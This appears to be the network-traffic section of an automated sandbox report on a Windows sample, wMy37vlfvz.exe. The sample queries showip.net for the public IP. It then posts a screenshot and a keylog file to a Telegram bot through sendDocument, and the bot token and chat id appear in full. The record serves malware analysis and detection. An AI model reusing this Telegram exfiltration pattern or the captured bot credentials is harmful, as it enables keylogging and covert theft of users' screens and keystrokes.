Nov 25, 2024 13:39:20.392765045 CET	1.1.1.1	192.168.2.6	0x68dd	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:39:35.462301970 CET	1.1.1.1	192.168.2.6	0xd1fb	No error (0)	showip.net		162.55.60.2	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:40:13.498394966 CET	1.1.1.1	192.168.2.6	0xf0b1	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

showip.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49750	162.55.60.2	80	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:39:35.593403101 CET	58	OUT	GET / HTTP/1.1 User-Agent: Project1 Host: showip.net
Nov 25, 2024 13:39:36.915432930 CET	1236	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: * Access-Control-Allow-Origin: * Content-Type: text/html;charset=utf-8 Date: Mon, 25 Nov 2024 12:39:36 GMT Server: Caddy Transfer-Encoding: chunked Data Raw: 34 36 66 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 4c 36 4e 4b 54 35 47 36 44 37 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 20 20 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 20 20 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 27 47 2d 4c 36 4e 4b 54 35 47 36 44 37 27 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e [TRUNCATED] Data Ascii: 46f8<!DOCTYPE html><html lang="en"> <head> <script async src="https://www.googletagmanager.com/gtag/js?id=G-L6NKT5G6D7"></script> <script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-L6NKT5G6D7'); </script> <script async src="https://fundingchoicesmessages.google.com/i/pub-8790158038613050?ers=1" nonce="a8sPTFY01S1bvA7Euc8gkg"></script><script nonce="a8sPTFY01S1bvA7Euc8gkg">(function() {function signalGooglefcPresent() {if (!window.frames['googlefcPresent']) {if (document.body) {const iframe = document.createElement('iframe'); iframe.style = 'width: 0; height: 0; border: none; z-index: -1000; left: -1000px; top: -1000px;'; iframe.style.display = 'none'; iframe.name = 'googlefcPresent'; document.body.appendChild(iframe);} else {setTimeout(signalGooglefcPresent, 0);}}}signalGooglefcPresent();})();</script> <script> (function(){'use strict';fun
Nov 25, 2024 13:39:36.915458918 CET	1236	IN	Data Raw: 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f Data Ascii: ction aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;
Nov 25, 2024 13:39:36.915471077 CET	1236	IN	Data Raw: 76 61 72 20 63 20 69 6e 20 62 29 69 66 28 22 70 72 6f 74 6f 74 79 70 65 22 21 3d 63 29 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 29 7b 76 61 72 20 64 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 Data Ascii: var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.A=b.prototype}function ma(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=argu
Nov 25, 2024 13:39:36.915529013 CET	388	IN	Data Raw: 67 65 22 29 29 7c 7c 28 43 28 29 3f 41 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 42 28 22 45 64 67 2f 22 29 29 7c 7c 43 28 29 26 26 41 28 22 4f 70 65 72 61 22 29 29 3b 76 61 72 20 73 61 3d 7b 7d 2c 45 3d 6e 75 6c 6c 3b 76 61 72 20 Data Ascii: ge"))\|\|(C()?A("Microsoft Edge"):B("Edg/"))\|\|C()&&A("Opera"));var sa={},E=null;var ta="undefined"!==typeof Uint8Array,ua=!ra&&"function"===typeof btoa;var F="function"===typeof Symbol&&"symbol"===typeof Symbol()?Symbol():void 0,G=F?function(a,b
Nov 25, 2024 13:39:36.915540934 CET	1236	IN	Data Raw: 61 72 20 62 3d 48 28 61 29 3b 31 21 3d 3d 28 62 26 31 29 26 26 28 4f 62 6a 65 63 74 2e 69 73 46 72 6f 7a 65 6e 28 61 29 26 26 28 61 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 29 29 2c 49 28 61 2c 62 7c Data Ascii: ar b=H(a);1!==(b&1)&&(Object.isFrozen(a)&&(a=Array.prototype.slice.call(a)),I(a,b\|1))} var H=F?function(a){return a[F]\|0}:function(a){return a.g\|0},J=F?function(a){return a[F]}:function(a){return a.g},I=F?function(a,b){a[F]=b}:function(a
Nov 25, 2024 13:39:36.915553093 CET	1236	IN	Data Raw: 65 3d 61 2e 6c 65 6e 67 74 68 2c 66 3d 64 3b 66 3c 65 3b 66 2b 2b 29 7b 76 61 72 20 67 3d 61 5b 66 5d 3b 6e 75 6c 6c 21 3d 67 26 26 67 21 3d 3d 63 26 26 28 63 5b 66 2d 62 5d 3d 67 29 7d 61 2e 6c 65 6e 67 74 68 3d 64 2b 31 3b 61 5b 64 5d 3d 63 7d Data Ascii: e=a.length,f=d;f<e;f++){var g=a[f];null!=g&&g!==c&&(c[f-b]=g)}a.length=d+1;a[d]=c};function Aa(a){switch(typeof a){case "number":return isFinite(a)?a:String(a);case "boolean":return a?1:0;case "object":if(a&&!Array.isArray(a)&&ta&&null!=a&&a i
Nov 25, 2024 13:39:36.915564060 CET	1236	IN	Data Raw: 28 65 2c 66 29 26 26 28 62 5b 66 5d 3d 63 28 65 5b 66 5d 29 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 44 61 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 69 66 28 6e 75 6c 6c 21 3d 61 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 Data Ascii: (e,f)&&(b[f]=c(e[f]))}return a}function Da(a,b,c,d,e,f){if(null!=a){if(Array.isArray(a))a=e&&0==a.length&&H(a)&1?void 0:f&&H(a)&2?a:Ea(a,b,c,void 0!==d,e,f);else if(N(a)){var g={},h;for(h in a)Object.prototype.hasOwnProperty.call(a,h)&&(g[h]=D
Nov 25, 2024 13:39:36.915574074 CET	1236	IN	Data Raw: 66 28 63 3e 3d 66 7c 7c 65 29 7b 65 3d 62 3b 69 66 28 62 26 32 35 36 29 66 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 65 6c 73 65 7b 69 66 28 6e 75 6c 6c 3d 3d 64 29 72 65 74 75 72 6e 3b 66 3d 61 5b 66 2b 28 28 62 3e 3e 39 26 31 29 2d 31 29 5d Data Ascii: f(c>=f\|\|e){e=b;if(b&256)f=a[a.length-1];else{if(null==d)return;f=a[f+((b>>9&1)-1)]={};e\|=256}f[c]=d;e&=-1025;e!==b&&I(a,e)}else a[c+((b>>9&1)-1)]=d,b&256&&(d=a[a.length-1],c in d&&delete d[c]),b&1024&&I(a,b&-1025)} function La(a,b){var c
Nov 25, 2024 13:39:36.915697098 CET	1236	IN	Data Raw: 72 65 61 6b 7d 66 3d 21 30 7d 65 3d 62 3b 63 3d 21 63 3b 67 3d 4a 28 61 2e 68 29 3b 61 3d 4c 28 67 29 3b 67 3d 28 67 3e 3e 39 26 31 29 2d 31 3b 66 6f 72 28 76 61 72 20 68 2c 6b 2c 77 3d 30 3b 77 3c 64 2e 6c 65 6e 67 74 68 3b 77 2b 2b 29 69 66 28 Data Ascii: reak}f=!0}e=b;c=!c;g=J(a.h);a=L(g);g=(g>>9&1)-1;for(var h,k,w=0;w<d.length;w++)if(k=d[w],k<a){k+=g;var r=e[k];null==r?e[k]=c?O:wa():c&&r!==O&&va(r)}else h\|\|(r=void 0,e.length&&N(r=e[e.length-1])?h=r:e.push(h={})),r=h[k],null==h[k]?h[k]=c?O:wa(
Nov 25, 2024 13:39:36.915710926 CET	1236	IN	Data Raw: 6e 63 74 69 6f 6e 20 57 61 28 61 29 7b 74 68 69 73 2e 67 3d 61 7c 7c 70 2e 64 6f 63 75 6d 65 6e 74 7c 7c 64 6f 63 75 6d 65 6e 74 7d 57 61 2e 70 72 6f 74 6f 74 79 70 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 Data Ascii: nction Wa(a){this.g=a\|\|p.document\|\|document}Wa.prototype.appendChild=function(a,b){a.appendChild(b)}; function Xa(a,b){a.src=b instanceof V&&b.constructor===V?b.g:"type_error:TrustedResourceUrl";var c,d;(c=(b=null==(d=(c=(a.ownerDocumen
Nov 25, 2024 13:39:37.035623074 CET	1236	IN	Data Raw: 28 61 29 7b 69 66 28 61 2e 69 2e 62 6f 64 79 26 26 21 61 2e 6d 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 62 28 61 29 3b 70 2e 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 62 28 61 2c Data Ascii: (a){if(a.i.body&&!a.m){var b=function(){fb(a);p.setTimeout(function(){return gb(a,3)},50)};Za(a.l,a.u,2,!0,function(){p[a.o]\|\|b()},b);a.m=!0}} function fb(a){for(var b=W(1,5),c=0;c<b;c++){var d=X(a);a.i.body.appendChild(d);a.j.push(d)}b=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49841	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:40:15 UTC	562	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:40:15 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 59 65 53 4b 73 4a 59 55 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotYeSKsJYU.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:40:15 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:15 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:40:15 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:40:15 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:40:15 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:15 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:40:15 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:40:15 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:40:15 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:40:22 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:40:21 GMT Content-Type: application/json Content-Length: 600 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49862	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:40:23 UTC	559	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 7003 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:40:23 UTC	7003	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 61 55 6c 4f 66 63 44 44 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 33 39 3a 32 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 33 39 3a 33 32 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 33 39 3a 34 32 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataaUlOfcDD.txt"Content-Type: application/octet-stream[07:39:29]<<Program Manager>>[07:39:32]<<Program Manager>>[07:39:42]<<Program Mana
2024-11-25 12:40:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:40:24 GMT Content-Type: application/json Content-Length: 595 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
